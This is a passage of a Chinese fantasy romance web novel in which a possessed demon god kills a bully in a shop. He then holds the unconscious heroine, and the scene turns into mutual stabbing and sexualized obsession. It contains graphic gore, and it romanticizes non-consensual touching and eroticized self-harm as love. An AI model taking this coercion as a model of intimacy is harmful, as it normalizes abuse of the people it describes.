“姑娘,您看着不像是本地人啊,是要买心石吗?那您可来对地方了!我们万锦楼的心石可谓是全宁城第一,全无定界第一,全世间第一!” “价格呢,也是物美价廉,一颗心石只需要一千灵石,如若买得多,小店还会附赠其余世间珍宝哦!” 柜伙笑着凑了上来。 柜伙的脑子都很机灵,这样的话*最基本的含义就是一句话:穷货就不要多看了。 程今越身上没有任何装饰,衣裳也不算格外名贵,整个人清冷,干净。 但这通身的气派就不普通,柜伙又凑到程今越跟前多说了两句。 一千灵石,真是抢钱呢。 大衍剑宗的普通弟子一个月也只能得十块灵石。 如果放在从前,贫穷的程今越都不会踏进这个店。 但是不好意思,现在她已经是今非昔比了。 “我要一百颗。” “劳烦您了。” 程今越点点头,她轻笑着。 反正是萧极的钱。 要多少有多少,她一点都不心疼。 柜伙突然愣在原地,他没听错吧? “啊?好的!” “姑娘确定是要一百颗吗?” 他又惊又喜地看着程今越。 一百颗?那可是整整十万灵石,到底是哪里来的大小姐,竟然有这样的大手笔! 他借着余光偷看着程今越,温柔清冷,面容白皙,眉眼间都是笑意,像是清晨的雾气,让人忍不住心生好感。 能一口气拿出十万灵石的大小姐,来到宁城竟然没有一丝消息,柜伙不禁猜测起程今越的身份起来。 还在他疑惑的时候,程今越身边跟着的婢女已经递出了一个乾坤袋。 “这里便是十万灵石,劳您清点。” 柜伙心跳得极快,接过乾坤袋,随后立马唤了管理这处万锦楼总管事来。 这可是极大的客户,一定要好好关照! 楼内的其他柜伙看向程今越的眼神瞬间不一样了,一个个前恭后倨,带着笑容将程今越邀进贵客室。 可程今越还未踏进贵客室,连茶都还没有端上来,却听到外面传来声音。 “掌柜的!我家公子要这一批心石,赶紧包起来,给我家公子送过去吧!”只见两个小厮站在门口,高傲地抬着头,目光不屑,对这家店应当是格外熟悉,就算是小厮,身着也价值不菲。 总管事瞬间脸色微变,他有些难堪,尴尬地朝那小厮拱手,“小的今日店里这一批心石一共就这一百颗,已经被这位姑娘预定了。” 那小厮一听,脸上的不屑更甚,抬头一笑,毫无礼数地瞥着程今越,嗤笑一声,“定下了又如何?我家公子看中的东西,向来没有得不到的。” “你们难道忘了我家公子是谁?得罪了我家公子,你们这万锦楼还想不想在宁城继续开下去了!” 婢女刚要开口,却被程今越拦住。 程今越黛眉轻挑,目光越过总管事,落在那两个小厮身上。 她眼眸之中没有任何恼怒,脸上的笑意更深,宛若春风,“敢问你家公子是谁?” 小厮轻笑,“我家公子你都不知道?宁城洛家长公子你都不知道?” 他鄙视地看着程今越,眼中满是不屑。 洛大少爷? 程今越在脑子里面找寻这个人。 宁城的洛家,便是垄断心石的几家权贵之一。 在宁城的洛家还只是一个血脉分支,再往上走更是有仙界大能撑腰,的确是高贵非常。 把洛大少爷的名字叫出来,无非是让程今越知难而退。 “我家主子早就先来一步预定好了,钱都已经交给管事了,钱货两讫,不知你家公子凭何抢夺?”婢女不卑不亢,朝小厮道。 “凭什么?哈哈哈——” “哪来的蠢货,也敢跟我家公子抢东西,要么死,要么滚,你给老子想清楚。” 小厮话还没有说完,一个衣着华丽,神色嚣张高傲的人走了进来,“在吵什么?我的心石怎么还未给我送来,一件小事都做不好!” 这边是洛家的长公子,洛昊,颧骨微高,脸盘丰腴,腰间挂了玉佩,每一丝头发都被打理得油光水滑,目光高傲。 “公子,您来了!” “这个女人,要与公子您抢夺这一批心石,简直是不识好歹!” 小厮立马扶过洛昊,狐假虎威,指着程今越。 洛昊冷笑一声,“妈的,老子要看看谁不想活了。” 洛昊抬头看向程今越,突然瞳孔一动,浑身的怒气瞬间变成有些古怪的笑,他上上下下地打量着程今越。 “哟,哪里来的小美人,生得如此标致,怎么如此不懂事。” “城中人皆知我洛昊最怜香惜玉,我便不和你一般见识。” “若是美人十分想要这批心石,我也不是不可以拱手相让。” 洛昊笑着,格外油腻,令人浑身不适。 有些倒霉呢,才来第一天便碰到了找死的人。 说实话,程今越向来是吃软不吃硬的。 她更不是什么会忍气吞声,甘愿受苦的善良圣母。 她只需要轻轻示意,她身后的暗卫就会把洛昊杀掉。 可是这样太引人注目了。 她来宁城的目的就是为了安静地养伤,透透气,顺便杀一只海神。 如果洛昊死了,那之后还有更多的麻烦找上门。 洛昊当然要死了。 程今越端详着洛昊,思考着过几天城中应该就会出现洛昊失踪的消息,她已经在想怎么折磨对方了。 可惜,不是现在。 因为程今越永远都是干净的,她是善良的,温柔地,是见血就要落泪的,怎么会杀人呢? 这个时候,程今越就会想起来一个人。 怀钰。 只要怀钰在,那么程今越便可以永远独坐高台,温柔清冷,不染风霜。 怀钰会背负所有的血腥与罪孽,揽下所有辱骂,承受所有伤痕。 无人知他们是共犯。 “洛公子,先来后到,这是我的东西,还望您自重。” “这句话,我只提醒您一次。” 程今越笑着,黑色的长发落在肩上,娴静,但带着冷漠距离。 “妈的,你这娘儿们,真是不长眼睛。” “还有你说话的份儿?打断她的腿!带走!” 洛昊瞬间暴怒。 他身后的侍卫瞬间就要冲上前来,可一群壮汉方才冲到一半,所有人耳边传来一阵嗡鸣,一道尖锐的破空声撕裂空气,刹那间,血雾在店内轰然炸开。 只见这些人的脖颈诡异地旋转三圈,皮肤寸寸龟裂,整颗头颅像是熟透的浆果一般爆开,红白混杂的腥热液体抛洒在地上。 瞬间,他们的身体扭曲变形,四肢以诡异的角度脱离躯干,肋骨穿透胸膛,内脏如破碎的布囊散落一地。 洛昊的瞳孔瞬间紧缩,鲜血溅在他的身上,他一下瘫坐在地上,整个人颤抖抽搐着,**漫开腥臊水渍。 “啊——!” “救命救命救命救命!” “妖怪妖怪,有妖怪!” 他发了疯似的大叫着,整个人往后退着,可是退到最后,却被一只脚挡住了,他惊恐地回头,谁知道对方瞬间抬脚将他踹倒在地上。 轰隆一声,他瘫倒在血肉淋漓的血泊之中,整个人疯狂颤抖惊叫着。 “妖怪,你说我吗?” 带笑的嗓音从门外传来,一个颀长的身影站在门口,背着光,眼尾的一颗朱砂痣随笑意漾开。 程今越朝门外望去,熟悉的身影正站在那儿,漫不经心,笑盈盈地看着眼前的戏,银丝绦松松系着黑色的长发。 萧砚修。 所有人的心都悬到了嗓子眼,掌柜的更是额头上冒了冷汗。 萧砚修,谁人不识谁人不晓! 无定界界主最疼的弟弟,萧家的天才,真正的贵公子,桀骜不驯,张狂傲慢。 所有人都曾远远地见过这位。 洛昊也顶多是在宁城耍耍威风,但萧砚修在无定界,甚至在这仙界,要谁死谁就得死! 洛昊整个人大脑一片空白,他想要开口,整个人却打着抖,浑身冷了起来。 “萧……萧公子……” 萧砚修为什么会出现在这里?这样的大人物为什么会出现在宁城? 他瞬间跪在地上,声音打颤到几乎变形,他连忙爬到萧砚修脚边,却被高大的侍卫阻拦。 “萧公子,这是做什么……” 刚说完,他瞬间明白了什么,他瞬间转头看向程今越。 程今越清冷地站在原地,长裙没有沾染一丝鲜血,她的脚边便是血肉与肠子,面无表情。 “萧公子,我没有想到这位姑娘是您的人……” “萧公子,您听我解释,您听我解释!” 萧砚修笑起来,“洛昊,好久不见,你的能耐是越来越大了啊。” 他腰都不屑于弯,低头看着洛昊。 随后,只听骨头碎裂的声音,洛昊的头也瞬间爆开。 萧砚修突然大笑起来,整个人笑得前俯后仰。 洛昊还没有死透,他整个人好像被一双大手揉捏着,还在被不断折磨。 程今越冷冷地看着萧砚修。 她脸色苍白。 不是因为鲜血。 而是因为胸口还未好的伤口在隐隐作痛,从骨子里面渗出疼痛,几乎让她有些无法站立。 魔气。 浓烈的魔气弥漫开来,像是在捏着程今越的心脏。 她心跳得很快,一双眼睛直勾勾地看着萧砚修。 身边的侍卫竟然没有一丝反应。 没有任何人察觉到魔气吗?明明这么明显的魔气! 难道只有她一个人感受到吗? 她看着萧砚修,萧砚修也在看着她。 对方笑着,森白的牙齿露出来,勾起一抹令人胆战心惊的笑。 “好久不见啊,嫂子。” 他说着,然后拿出一根红色的流苏耳坠,轻轻挂在了右耳。 那一颗红色的石头之间,隐约可见鲜血如鱼一般在其中游动。 程今越怔在原地,寒意爬上全身。 第78章 他会狠狠报复程今越的! 程今越看着这一张熟悉的脸,的确是萧砚修的脸无疑。 她和萧砚修曾经相处了数月,绝对不会记错。 但是萧砚修的气质断然不是如此,这样的性格与她记忆中的萧砚修大相径庭。 首先来讲,萧砚修不会随意杀人。 像个疯子一样。 熟悉的红色流苏耳坠,熟悉的笑容,熟悉的魔气。 对方看起来已经不想掩饰了。 怀钰。 她早就发现了萧砚修的不对劲。 程今越回想起那时萧盼兮告诉她的东西,回想起萧砚修对她的所作所为,行为疯狂,她又想起萧砚修被鞭笞的时候,那一双黝黑的眸子看着她的方向,对她说“好久不见”。 过去所有的记忆都在程今越的脑子里飞速掠过。 她不是没有想过这个可能,她也一直担忧这个可能。 但是怀钰是怎么做到夺舍萧砚修的?萧砚修的修为不低,甚至说是仙界中数一数二的高手,怀钰又是怎么做到的? 并且无定界森严,破魔铃都还在萧极的身上,怀钰是怎么做到在萧极眼皮子底下将人换了? 所以她一直都是怀疑,但并未肯定。 现在,对方已经不装了。 或者说对方压根就没想过装,他向来直来直往不会骗,肆意妄为,目无王法。 当时并不明显,估计只是单纯地还没有驯服好这具身体罢了。 无定界到处都是萧极的眼睛,怀钰这样明目张胆,是真不把萧极放在眼里啊。 从不考虑后果。 疯子。 程今越暗骂。 疯子脸上的笑容却越来越深,他一双丹凤眼直勾勾地盯着程今越,让程今越浑身发麻。 他似乎是能猜到程今越心里在想什么一样,他倾身,“嫂子怎么不说话?” “见到我不开心吗?” “有什么心里话,说出来不就好了?嫂子说什么话,我都会欣然接受的。” 众人跪在地上,听见萧砚修竟然唤这位姑娘“嫂子”。 萧砚修在家中排行较小,但上面的哥哥都已经成婚,都是有头有脸的大人物,他们全都认识。 唯一还未成婚的,不,应该说是即将快要成婚的,只有一位。 无定界的界主,至高无上的仙尊,掌握他们所有命脉的人,萧极。 界主的未婚妻是大衍神女,身份依旧是高贵无比,又怎么会出现在这里? 总管事跪在地上,所有人颤抖地磕头。 “夫人!是我等小的有眼无珠,竟然未能识得夫人,求夫人责罚!” 窗外暖阳洒进来,照在地面上,但每个人的心中都格外凄凉,背后冷汗直冒,心都提到了嗓子眼。 大衍神女并不常出剑宗,也几乎不参与任何仙界的集会,若是出现,那也都是在人间,他们这些小人物哪里有机会见过神女殿下! 程今越面露疑惑之情,略微后退几步,因为满地的血腥,她脸色苍白,眼眸微红。 “什么……?” “公子,你们是不是认错了人,我并不是你们口中的什么夫人。” 她来宁城是要杀海神的,她不希望有人关注到她,也不希望暴露身份,杀人越货这种事,当然是要越少人知道越好。 装疯卖傻是程今越最擅长的事情,虽然听起来很蠢,但是的确管用。 萧砚修,或者说是披着萧砚修皮的怀钰。 他听到程今越的话,突然大笑起来,他往程今越靠近,“是吗?” “不好意思,我的眼睛看不太清楚,让我仔细看看呢?” 怀钰踩着血泊,踩着地上的血肉和肠子,他好像感受不到四周的脏污一样,一双眼睛直勾勾地看着程今越,像是捕猎的狼。 高大的身姿遮住背后的光,一步步朝程今越迈过来,让所有人都不敢呼吸。 程今越向后退着,却发现后面已经是墙壁,她无路可退。 “站住。” 怀钰没有听她的话,他们之间的距离更近。 与怀钰的距离越近,程今越胸口的伤口便更加疼,魔气从怀钰的身上溢出,钻进程今越的伤口里,在她的血肉之中涌动,原始,嗜血,好像要钻进她的骨头之中。 疼痛让她轻轻喘着气,手中一片冷汗。 “我让你站住!”她厉声道。 疼痛几乎要让她跪倒在怀钰身前。 怀钰依旧不听,他走至程今越身前,身上熟悉的香味飘到程今越的鼻间。 是从前程今越常用的熏香。 不过来到无定界后,程今越听从萧极的安排,已经换了其他的香料。 她察觉到怀钰脸上的笑容不明显地一僵,在背光处,他的脸忽明忽暗,脸上的笑意更浓,像沁了血的玉。 突然,怀钰伸出大手,骨节分明的手指扣住她的下巴,格外用力,强迫她抬头与自己对视。 程今越下巴生疼,脸上瞬间被掐红,眼眸之中溢出眼泪。 她蹙着眉,眼眸怒瞪,看着怀钰那双黝黑的眼睛,眼中情感万千,程今越最先读懂的是恨。 曾经,他们之间,对视是一件多么平常的事情。 怀钰看着程今越,他已经拼尽全力不去想过去的事情,但是回忆就是如潮水一样侵占了他的大脑。 他记得程今越的脸,她的笑,她温柔的眼眸,刻在了骨子里面,此生不会忘记。 但绝不是现在这样的眼神。 这让他觉得熟悉又陌生。 物是人非。 魔神怀钰第一次读懂了这个词。 “看完了吗?” “放开我。” 程今越的声音冷冷。 她在心中不断唤着萧极给她安排的侍卫,可是无论她怎么呼喊,对方都不应答。 人呢?死了吗?可是她明明感受到了气息,这群人甚至还在进楼之前隐藏的地方,都没有挪动地点! 程今越心中满是怨气,她真想把这群人全部杀了。 怀钰到底是做什么手脚,竟然让她无法联系到这暗卫,甚至让这群暗卫的眼睛变瞎了! 怀钰轻笑,“是,我的确是认错了。” “你这样的女子,低贱轻浮,怎么会是我哥哥的夫人呢?” “你还不配。” 怀钰甩开程今越的脸,嫌恶地收过手。 “掌柜的,是我认错了。” “今天的事,你就告诉洛家,说是我萧砚修做的便是了,若是对方有任何不满,你让他们来寻我就是了。” 怀钰轻笑。 “是!小的知道了!” “今日这事,洛家怎么敢有不满之心!今日分明是洛昊的过错,这位姑娘明明已经与我万锦楼交易,对方却嚣张跋扈,目中无人,仗着权势便要欺负平民!萧公子今日所做之事乃是正义之举,这些个恶人就该得到惩治!萧公子刚正不阿,大义凛然,正直无私!乃是我辈之楷模啊!” “是啊,萧公子大义!” 周围的人瞬间笑着附和。 “今日之事,出自我万锦楼,我万锦楼必然要承担责任!” “这样,今日让姑娘受惊了,这一百颗心石,我便赠予姑娘!” 掌事经商多年,眼力见足,他一眼就看出程今越和怀钰之间有猫腻。 这样的事他见多了,虽然怀钰说这样的话,程今越眼神里也全是厌恶,但无非是有情人之间闹别扭,吵些小架。 心石已经打包好了,用珍贵的玉盒装起来,伙计恭恭敬敬地递到了程今越的手里,她身边的婢女接过玉盒。 随后,伙计又将程今越给的,装着十万块灵石的乾坤袋递了回去。 程今越刚要接过,怀钰却一把抓过那个乾坤袋,猛烈地摔在地上,地上无缘无故冒起了火,只是瞬息之间,这只乾坤袋被这烈火燃烧成灰烬,孤零零地躺在地上。 程今越瞪大眼睛看着怀钰。 “赠予?她也配?哪儿来这么大的脸。” “也不知道这个钱是从哪儿来的,呵……” 怀钰冷笑着。 程今越哪来的钱?在大衍剑宗的时候,程旭和李从霜便对她格外苛刻。 这十万灵石可不是小数目,除了用的萧极的,还能是谁的! 萧极萧极萧极! 怀钰在心中不断念着这个名字。 他回想起他在无定界的日日夜夜。 他看到萧极将程今越搂入怀里,看到他们二人之间的调笑,亲昵,看到程今越从未有过的温顺。 他更深深地记得,在阁楼之下,萧极拦着他不让他上楼。 他看见了程今越的身影,她靠得离萧极那么近那么近。 他听到了可笑难听的琴声,强行掩饰着两人的行为。 就算是隔着结界,隔着琴声,他依旧能感受到他最熟悉的气息,感受到程今越紊乱的呼吸,虽然是隐隐约约的,传入他的耳朵里,却是那么清晰明了。 怀钰觉得自己要疯了,嫉妒,恨,在他的心中疯狂滋生。 他抓出一把乾坤袋,扔在地上。 “这些心石,我买了。” “记住,这些是我送给你的,不要再用那些来历不明,令人作呕的钱了,好吗?” 有病。 程今越沉沉呼吸着,她觉得怀钰身上的魔气越来越重,像一双大手一样,死死扼住她的喉咙,掐着她的心脏。 胸口的伤口疼痛欲裂,好像有什么虫子要从伤口之中涌出。 她沉沉呼吸着,耳边传来嗡鸣,眼前逐渐模糊,怀钰还在说什么,但是她已经听不清了。 疼得几乎让她受不了…… 但是她不想倒下。 因为眼前的人是怀钰。 坦白来讲,程今越的高傲并不逊色萧极。 她被打断了骨头,但肉依旧会连着筋。 她才不会向怀钰低头,这个疯子。 怀钰一定恨她恨到死了,他们虽然站在了一起,但早就有了一层隔膜。 怀钰会杀了她的,他潜入无定界,夺舍萧砚修,为的就是为了报复她。 程今越瞬间晕倒,怀钰脸上的愤怒瞬间散去,脸上的慌乱隐藏不住,他下意识地将程今越抱住,搂在怀里。 熟悉的身体躺在他的怀里,是他朝思暮想的程今越。 他不会放过程今越的。 他会把握住这个机会,狠狠报复她! 第79章 不爱我的话,恨我也可以啊。 习惯真的是一个很恐怖的东西。 程今越快要晕倒的前一秒,怀钰还在心里记恨她,希望她痛苦,不得好死,得到报应。 但是当程今越真的有什么事,他的身体比他的大脑还要快一步地抱住了程今越。 他心中慌乱紧张,呼吸在刹那停止。 “程今越,不准有事……” 他抱着程今越,回到房间之中,不断地朝她输送修为。 屋内寂静无声,只有彼此二人,他能清晰地听到自己和程今越的心跳。 程今越脸色苍白,她身子单薄,怀钰一只手都能将她搂在怀里。 怀钰的大脑清楚地告诉他,不要救程今越,为什么要去救她?她明明骗了你那么多次! 程今越嘴里没有一句真话,她谁都骗,她根本不爱任何人,她只爱她自己,她明明已经背叛过你很多次了,你为什么要这么贱,为什么还要去救她呢? 程今越对你有多绝情,你不知道吗? 她在需要你的时候,就会装得楚楚可怜,在不需要你的时候,她会毫不留情地向你射出箭。 你就应该在现在,拿出一把剑,杀了她! 可是为什么就做不到呢? 越是这样想,怀钰就将程今越抱得越紧,他用力地将程今越嵌进自己的怀里。 他感受到程今越身上的气味,感受到程今越的体温,他抚摸着程今越的发间,埋在程今越的脖颈,用力吸吮着程今越身上的气味,狠狠地吸入他的脑髓,像是上瘾一般。 血管跳动,炽热从心口逐渐蔓延,骨骼,内脏,皮肉,他觉得自己快要窒息。 从被程今越抛弃后,怀钰整个人都懵掉了。 他觉得自己的心口好像缺了一块,他几乎快要不能思考,每日都是痛苦交加。 每个夜晚,甚至白天,他都会梦到程今越,他也不知道为什么。 遇到好看的花,他会想到程今越,别人送了他一件新衣服,他会想到程今越,吃了好吃的,他会想到程今越…… 怀钰觉得自己已经疯了,他觉得自己已经陷入了魔障。 在随时随地,他都会想起程今越。 紧接着,他就会开始哭。 疼痛从心口开始蔓延,眼中的泪怎么都止不住,就连骨骼也痛得咯咯作响,程今越成了他心口之中的一颗钉子,他快要不能呼吸。 他看到书里面说,哭过一阵子就习惯了,人这种卑劣的东西,什么都会习惯的。 他尽力去相信了。 程今越也会这样做的吧。 或许他在程今越那里可能什么都不是,这才对。 可是为什么又想到程今越了…… : 每天醒来,他都浑身都是汗,空气中都是浑浊的气息,只要一想到程今越,他就会变得格外肮脏。 他尝试去走出去,他召集了魔界之中的女子,要大选后宫,可是只要看到其他人,他整个人都想要呕吐,胃就开始翻涌。 他要杀了这群尝试替代程今越的人,不怀好意,居心叵测! 他渐渐地发现,没有人能替代程今越。 他的病没有减轻,反而越来越重。 只要想到程今越,联想到一点和她有关的事物,怀钰的身体就会瞬间变得炽热,滚烫,浑身泛红,强烈地渴望让他抓心挠肝,浑身战栗! 小越,小越,小越,小越,小越…… 为什么要对他这样? 他好可怜啊…… 泪水在怀钰的眼泪里翻涌着,他又格外地恨自己。 恨自己为什么还惦记着程今越,恨自己对程今越的感情,恨自己为什么这么蠢,恨自己为什么这么贱! 他好恨程今越,为什么要抛弃他,为什么要欺骗他,为什么明明就做不到,还要给他承诺,给他希望? 恨明月高悬,独不照我! 怀钰觉得自己疯了。 后来他觉得,疯就疯吧,这样也挺好的。 程今越已经成为他的精神支柱了,爱也好,恨也罢,不重要,不是吗? 他是不会放过程今越的,他要永远看着程今越,永远缠着她,他要程今越跟他一样痛苦。 怀钰将程今越抱在怀里。 “小越,小越,小越……” 他的手发烫,从程今越的皮肤上划过,像烧红的炭火,滚烫无比。 他双眼猩红,一双专属于魔神的眼眸隐隐显现。 随着灼热的修为如洪水一般汩汩流进程今越的身体里,她觉得很热,头格外地痛,整个人软趴趴的。 程今越觉得自己身上有什么东西,黏黏糊糊的。 脸上,脖子上,身上,所有的皮肤,都变得格外黏腻,燥热,给她带来痒、麻、颤抖。 一双大手抚摸着她的头,在她的发间穿梭。 有什么巨大的东西压在她的身上,她浑身都被裹紧,柔滑微凉的布料在她身上轻轻滑动,其中包裹着温热柔韧的肌肉。 她感觉自己身上空空的,可是外面有些冷,风吹在她沾着水的肌肤,让她整个人一哆嗦,只好靠着滚烫温暖的身躯,朝温暖的地方钻着,蹭着。 “小越……好可爱……小越……” 怀钰整个人都快要飘起来,程今越柔软的身躯将他包裹。 “呜……” 他语气里压抑着怪异的音调,诧异又欢悦,带着颤抖的气声。 怀钰觉得自己整个人快要不能思考,他整个脑子里面都充斥了程今越身上的味道,和他的气息交织在一起。 好幸福……好幸福…… 这幸福像是虚假的,像是梦一样,他甚至有些不能相信现在。 幸福得让他几乎哭出来。 泪一滴一滴地落在他的脸上,流到程今越的颈窝,他像一只受伤的小狗,埋在程今越的颈窝里,让泪水四溢流着。 他拿出那把刀,精美秀丽,上面刻了一个字,“越”。 他将刀放在程今越的手里,用一双灼热的大手,包裹着程今越的手。 毫不犹豫地,这把刀捅在他的胸口。 鲜血瞬间汩汩涌流,顺着手臂,他的血流在程今越的身上,鲜艳,美丽,动人。 怀钰全身都在颤抖,他胸口的起伏越来越大,喘息声越来越激烈。 胸口的疼痛瞬间化作巨大的快|感,他快要兴奋得不行。 疼痛让他明了,这不是梦。 这是真的! 他俯下身,亲吻着程今越,缠绵,亲密,像他们从前。 “小越,你记得吗,我们以前,我们以前就这么要好。” “那个时候,你说你爱我,可是我总是别扭。” “我错了,我也爱你,小越。” 他看到了程今越胸口的伤。 这道伤口狰狞可怖,伤口是不规则的形状,像是被剑尖蛮横地撕裂开,皮肉外翻,宛如狰狞的血口。 这是他的脊椎剑造成的。 是他给程今越的报复,是他们时隔好久的亲密接触。 伤口之上,魔气萦绕。 怀钰明白程今越为什么会晕倒了。 “对不起,对不起,对不起小越……” “我不应该对你动手的,对不起……” 泪水滴落在程今越的身上。 他哭得汹涌。 他抚摸着程今越的伤口,心口一颤一颤。 “可是我真的好恨你,你真的应该去死……” 他哭着,可是嘴角又突然诡谲地笑起来。 “没关系,没关系,你恨我吧,程今越,你可以恨我,就像我恨你那样!” “你既然不爱我,那你就一辈子恨我吧,你要永永远远记得我。” 他哽咽着,一边哭一边笑,他浑身颤抖。 他抚摸着程今越的脸。 好可爱的小越! 他浑身都快要疯掉,巨大的快感充斥着全身。 必须要做点什么,才能缓解他的痛苦,他的兴奋,有什么东西涨着。 杀了程今越,折磨程今越! 砍掉她的手臂,砍掉她的双腿。 这样程今越就只能依靠他了,这样程今越就再也不会乱跑了,再也不能离开他了。 他要捏碎程今越,让她流血,尖叫,痛苦,求饶。 他要以牙还牙,血债血偿! 程今越觉得身体之中盈着一股暖流,她好多了,她眼睛能微微睁开一点了。 映入眼帘的,是怀钰的脸。 程今越浑身瞬间恐惧起来,她觉得浑身发麻,背后发凉,紧张,焦虑,害怕,心跳得格外快。 身上的汗毛不断立起,大脑不断地向她发出警告。 怀钰靠在她的肩上,抬头看着她。 他颤抖着,不断笑着,鲜红湿润的唇中,露出森白的齿。 他不断念着她的名字,像是诅咒一般。 猩红的眼睛如血,疯狂,非人,像是有邪祟在要从他的体内钻出来。 她的肩膀上传来剧痛,鲜血瞬间涌流。 程今越愤怒地抬起手,却发现自己的右手被怀钰握住了,拿着一把刀,还在怀钰的胸口之中。 她只好抬起左手,朝怀钰的脸上扇去一巴掌。 “滚……” 她浑身无力,头痛得要命,这一巴掌软绵绵,并没有什么力气,但却让怀钰一怔。 怀钰松开利齿,鲜血在他的唇上,下巴上,诡谲恐怖。 他脸上的笑更加浓郁,笑声低沉,一双眼睛盯着程今越,让她浑身发麻。 她突然有些后悔。 她真的不该招惹疯子。 “程今越,你醒啦,你还好吗?” 他朝程今越笑着。 随后他又意犹未尽地舔了舔嘴唇。 程今越突然气笑了。 “你怎么还没死啊。” 她表达了她最真挚的感情。 她手握住那把刀,狠狠往怀钰的胸口刺去,她不断用这把刀绞着血肉,鲜血奔涌而出,落在了她的身上。 利器搅动血肉的声音萦绕在房间之中,黏腻,碰撞。 水声在房间里萦绕着,血腥气混杂着浑浊的气息钻进她的鼻腔。 她毫不留情,她将刀几乎要完全没入怀钰的身体里,她恨不得用这一把刀捅穿怀钰的胸口。 怀钰却突然呻|吟起来,他怪异地叫着,幸福地笑着。 第80章 做恨。 怀钰觉得自己浑身都滚烫,热流在他的全身沸腾,一直往他大脑最顶端冲击着。 他闻到了程今越身上的味道,好香,好软,好有安全感,好喜欢…… 他一把抱紧了程今越,任由那把刀在他的胸口越陷越深。 刀越陷进去一分,他就发出低沉的怪叫。 “对不起,我没有死,这很让你失望吧……” 他笑着。 “没关系,小越,你可以复仇,你来报复我吧……” “快……用你手里面的刀,捅我吧,快……小越……” 怀钰不断喘着,将自己靠近程今越,程今越抱在胸口。 被程今越轻轻扇过的脸如今变得滚烫,瘙痒,像是有千万只蚂蚁在上面爬着,吸吮着他的血液,吸食着他的灵魂。 一种强烈的渴望在怀钰心中不断涌现。 这一具身体开始发出异变,程今越听到了骨骼咯咯作响的声音。 萧砚修的身体被魔气影响着,开始变成怀钰的样子,无论是血肉,还是骨骼,都在异变,像怪物一样,变化的骨骼撑起皮肉,好像皮下隐藏着另一个邪祟。 强壮宽大的身体笼罩住程今越,巨大的体型差,让程今越几乎没有反抗的余地。 “怀钰!” “你又在发什么疯,放开我!” 程今越愤怒地吼着。 她两只手被束缚得紧紧的,衣裳凌乱*,湿润与绯红暴露在空气中。 程今越拼命挣扎着,但是没有一点办法,这完全是蜉蝣撼大树。 怀钰埋在她的颈窝里,胡乱亲着,从她的脸庞,脖子,又不断往下。 “放开你?” 怀钰一双猩红的眼睛看着她,恶劣无比,带着极强的压迫。 “永远都不可能。” 他斩钉截铁。 “我放开你了,你就跑了,小越,你不要离开我……” 他又开始哭起来。 他一边亲着,身上流着血,泪水不断地落在程今越的身上。 程今越整个人都被怀钰弄得黏腻。 “你正常一点,怀钰。” 程今越还心存着一丝理智,她压抑住自己内心的愤怒。 “我不会离开你的,我从来都没有想过离开你。” “之前所有的事都是我被迫为之,只是一直都没有时间跟你去解释。” 怀钰听到程今越的话,他轻笑着,点点头,示意程今越继续说。 神色懒散,像在看戏。 “你先放开我。” “不可能。” 程今越冷笑着。 “是,我之前是隐瞒了你一些,但是我说我爱你,绝对不是假的。” “不然我早就死于血契了,不是吗?” 坦白来讲,血契已经不对怀钰起作用了。 因为他已经完成了自己的那一部分,如今血契只单方面对程今越起作用。 虽然这看起来不利,但却是程今越最直接的证词。 因为她曾经许诺过,她会永远爱怀钰,并且还会帮助怀钰解开封印。 只要她违背承诺,她就会经历血肉折磨,直至死去。 “然后呢。”怀钰笑着。 “怀钰,我现在不想骗你了,已经到这个地步了,我就敞开天窗说亮话了。” 他们二人紧紧地拥抱在一起,怀钰一双滚烫的大手游走着。 他对程今越已经很熟悉了。 程今越一把抓住怀钰的手,却完全无法遏制他的动作。 “住手!” 怀钰笑着,恶劣地摇着头。 “你继续说啊。” 愤怒瞬间冲向程今越的头顶,像是一座火山,随时都会爆发,她整个人的情绪愤怒到了一个极点。 或者说不是愤怒,是一种怪异的情感。 程今越从来都是理性冷静的,一直都是如此,她会仔细考虑后果去做事,小心谨慎。 但是遇到怀钰,她就控制不住自己情绪。 她最原始的恶劣就想要释放。 “说什么?恶心的魔种。” “我跟你没什么好说的,你赶紧去死啊!” 她想要破坏,想要用尽最恶毒的话。 “好啊,那你杀了我吧。” 怀钰笑得更加灿烂,一双眼睛死死地盯着程今越。 快感从最深处蔓延开来,她不知道自己面对自己讨厌的人为什么会有这种反应。 “行,满足你。” 程今越冷哼。 她拔出怀钰胸口的刀,毫不留情。 鲜血随着剑的拔出,瞬间如瀑布一般奔涌而出。 她就想杀了怀钰,像是花一样,碾碎,破坏,永远肮脏,踩在脚下。 她握住刀,再一次捅进怀钰的胸口,又拔出来,再捅进去,血肉模糊,稀烂。 怀钰的喘息却越发沉重,笑声越发的猖狂,一双猩红的眼睛弯着。 这个疯子,明明是在这种情况下。 疯子,疯子! 怀钰身上的气息飘进程今越的鼻腔之中,他的喘息近在咫尺,震耳欲聋,无比刺耳。 他抱紧她,贴在程今越的脸上,低声笑着,“小越……再用点力……这样是杀不死我的哦……” 怀钰的血肉像是会呼吸一般,坚韧无比,程今越每捅一刀都感觉费力无比。 程今越挣扎无果,拿着那把刀,一把刺进怀钰的喉咙里。 怀钰躲都不躲,只是笑着。 “小越……你好可爱……你生气的样子……好可爱……” “神经病!你快去死啊!” 程今越一刀又一刀刺在他的喉咙。 血窟窿瞬间形成,狰狞无比,鲜血四溢,喷泄而出。 程今越感受到滚烫的血液撒在她身上,空气中血腥味混杂着浑浊的气息。 让她忍不住想吐。 她手中的刀毫不停息。 从上到下,她落下一刀又一刀,一直到她的手都酸透了,身上都被血浸湿了,怀钰却更加兴奋地笑着。 怪物……根本杀不死! 靡乱的声音在他的喉咙不断涌现出,他摆弄着程今越,一双大手四处抚摸,而程今越却毫无抵抗之力。 “你真的是一只怪物啊!” “你为什么不会死啊?!” 程今越快要崩溃。 虽然她早就知道,别人都这么说,说怀钰是杀不死的魔种,但是她不信,她就是要试一试。 明明怀钰身上全是伤,全是血,可是他甚至脸色都不变一下。 血肉又以肉眼可见的速度生长着,恐怖狰狞。 “嗯?对不起……小越……” “我什么都可以答应你,但是这个不能答应你……” 他眼角带着泪,可怜兮兮。 “因为如果我死了,你就会离开我,和别人在一起了,我不能够接受。” “你别抛弃我,别离开我,我好可怜啊,程今越,你不觉得我特别可怜吗?” 他突然开始大哭起来。 “是啊,你就是特别可怜,你还特别贱,你知道吗?”程今越毫不留情,她冷笑。 什么善良,软弱,小白花,她彻底脱下外表,懒得隐藏。 恶毒,卑劣,自私自利,不知悔改的丑陋面目就这样展示在怀钰面前。 她笑着,苍白的脸上全是血,一头黑色的长发黏在她的脸上。 诡异,冷血,像蛇一样。 怀钰乖巧地点点头,“是啊,我就是贱!” 